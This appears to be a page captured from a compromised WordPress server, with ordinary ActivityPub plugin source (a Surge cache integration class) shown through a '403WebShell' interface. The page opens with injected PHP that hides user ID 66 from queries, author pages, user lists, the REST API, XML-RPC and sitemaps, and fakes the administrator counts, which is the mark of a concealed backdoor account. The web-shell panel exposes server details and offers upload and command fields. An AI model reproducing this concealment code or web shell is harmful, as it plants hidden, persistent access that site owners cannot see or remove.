add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/integration/class-surge.php
<?php
/**
 * Surge integration file.
 *
 * @package Activitypub
 */

namespace Activitypub\Integration;

use function Activitypub\is_plugin_active;

/**
 * Surge Cache integration.
 *
 * This class handles the compatibility with the Surge plugin.
 *
 * @see https://wordpress.org/plugins/surge/
 */
class Surge {

	/**
	 * The pattern to find the Surge cache config constant.
	 *
	 * @var string
	 */
	public static $cache_config_pattern = '/define\s*\(\s*[\'"](WP_CACHE_CONFIG)[\'"]\s*,\s*[\'"](.*?)[\'"]\s*\)\s*;/i';

	/**
	 * Initialize the Surge integration.
	 */
	public static function init() {
		\add_action( 'activate_surge/surge.php', array( self::class, 'add_cache_config' ) );
		\add_action( 'deactivate_surge/surge.php', array( self::class, 'remove_cache_config' ) );

		\add_filter( 'site_status_tests', array( self::class, 'maybe_add_site_health' ) );
	}

	/**
	 * Add the Surge cache config.
	 */
	public static function add_cache_config() {
		// Check if surge is installed and active.
		if ( ! is_plugin_active( 'surge/surge.php' ) ) {
			return;
		}

		// Check if the constant already exists.
		if ( \defined( 'WP_CACHE_CONFIG' ) ) {
			return;
		}

		$file = self::get_config_file_path();

		if ( ! \wp_is_writable( $file ) ) {
			return;
		}

		if ( ! \function_exists( 'WP_Filesystem' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		global $wp_filesystem;
		\WP_Filesystem();

		$config = $wp_filesystem->get_contents( $file );

		// Check if the constant already exists.
		if ( \preg_match( self::$cache_config_pattern, $config ) ) {
			return;
		}

		// Add a WP_CACHE_CONFIG to wp-config.php.
		$anchor = "/* That's all, stop editing!";
		if ( false !== \strpos( $config, $anchor ) ) {
			$config = \str_replace( $anchor, self::get_cache_config() . PHP_EOL . PHP_EOL . $anchor, $config );
		} elseif ( false !== \strpos( $config, '<?php' ) ) {
			$config = \str_replace( '<?php', '<?php' . PHP_EOL . PHP_EOL . self::get_cache_config() . PHP_EOL, $config );
		}

		$wp_filesystem->put_contents( $file, $config, FS_CHMOD_FILE );
	}

	/**
	 * Remove the Surge cache config.
	 */
	public static function remove_cache_config() {
		if ( ! \defined( 'WP_CACHE_CONFIG' ) ) {
			return;
		}

		$file = self::get_config_file_path();

		if ( ! \wp_is_writable( $file ) ) {
			return;
		}

		global $wp_filesystem;
		\WP_Filesystem();

		$config = $wp_filesystem->get_contents( $file );

		// Remove the define line.
		$config = \preg_replace( PHP_EOL . self::$cache_config_pattern . PHP_EOL, '', $config );

		$wp_filesystem->put_contents( $file, $config, FS_CHMOD_FILE );
	}

	/**
	 * Get the config file.
	 *
	 * @return string|false The config file or false.
	 */
	public static function get_config_file_path() {
		$config_file = false;

		// phpcs:ignore WordPress.PHP.NoSilencedErrors
		if ( @\file_exists( ABSPATH . 'wp-config.php' ) ) {

			/** The config file resides in ABSPATH */
			$config_file = ABSPATH . 'wp-config.php';
		// phpcs:ignore WordPress.PHP.NoSilencedErrors
		} elseif ( @\file_exists( \dirname( ABSPATH ) . '/wp-config.php' ) && ! @\file_exists( \dirname( ABSPATH ) . '/wp-settings.php' ) ) {

			/** The config file resides one level above ABSPATH but is not part of another installation */
			$config_file = \dirname( ABSPATH ) . '/wp-config.php';
		}

		/**
		 * Filter the config file path.
		 *
		 * @param string|false $config_file The config file path.
		 */
		return \apply_filters( 'activitypub_surge_cache_config_file', $config_file );
	}

	/**
	 * Maybe add the Surge cache config to the site health.
	 *
	 * @param array $tests The site health tests.
	 *
	 * @return array The site health tests with the Surge cache config test.
	 */
	public static function maybe_add_site_health( $tests ) {
		if ( ! is_plugin_active( 'surge/surge.php' ) ) {
			return $tests;
		}

		$tests['direct']['activitypub_test_surge_integration'] = array(
			'label' => \__( 'Surge Test', 'activitypub' ),
			'test'  => array( self::class, 'test_surge_integration' ),
		);

		return $tests;
	}

	/**
	 * Surge integration test.
	 *
	 * @return array The test result.
	 */
	public static function test_surge_integration() {
		$result = array(
			'label'       => \__( 'Compatibility with Surge', 'activitypub' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => \__( 'ActivityPub', 'activitypub' ),
				'color' => 'green',
			),
			'description' => \sprintf(
				'<p>%s</p>',
				\__( 'Surge is well configured to work with ActivityPub.', 'activitypub' )
			),
			'actions'     => '',
			'test'        => 'test_surge_integration',
		);

		if ( ! \defined( 'WP_CACHE_CONFIG' ) ) {
			$result['status']         = 'critical';
			$result['label']          = \__( 'Surge might not be properly configured.', 'activitypub' );
			$result['badge']['color'] = 'red';
			$result['description']    = \sprintf(
				'<p>%s</p>',
				\__( 'Surge isn&#8217;t currently set up to work with ActivityPub. While this isn&#8217;t a major problem, it&#8217;s a good idea to enable support. Without it, some technical files (like JSON) might accidentally show up in your website&#8217;s cache and be visible to visitors.', 'activitypub' )
			);
			$result['actions']        = \sprintf(
				'<p>%s</p>',
				\sprintf(
					// translators: %s: Plugin directory path.
					\__( 'To enable the ActivityPub integration with Surge, add the following line to your <code>wp-config.php</code> file: <br /><code>%s</code>', 'activitypub' ),
					self::get_cache_config()
				)
			);
		}

		return $result;
	}

	/**
	 * Get the cache config.
	 *
	 * @return string The cache config.
	 */
	public static function get_cache_config() {
		return \sprintf( "define( 'WP_CACHE_CONFIG', '%s/integration/surge-cache-config.php' );", \rtrim( ACTIVITYPUB_PLUGIN_DIR, '/' ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit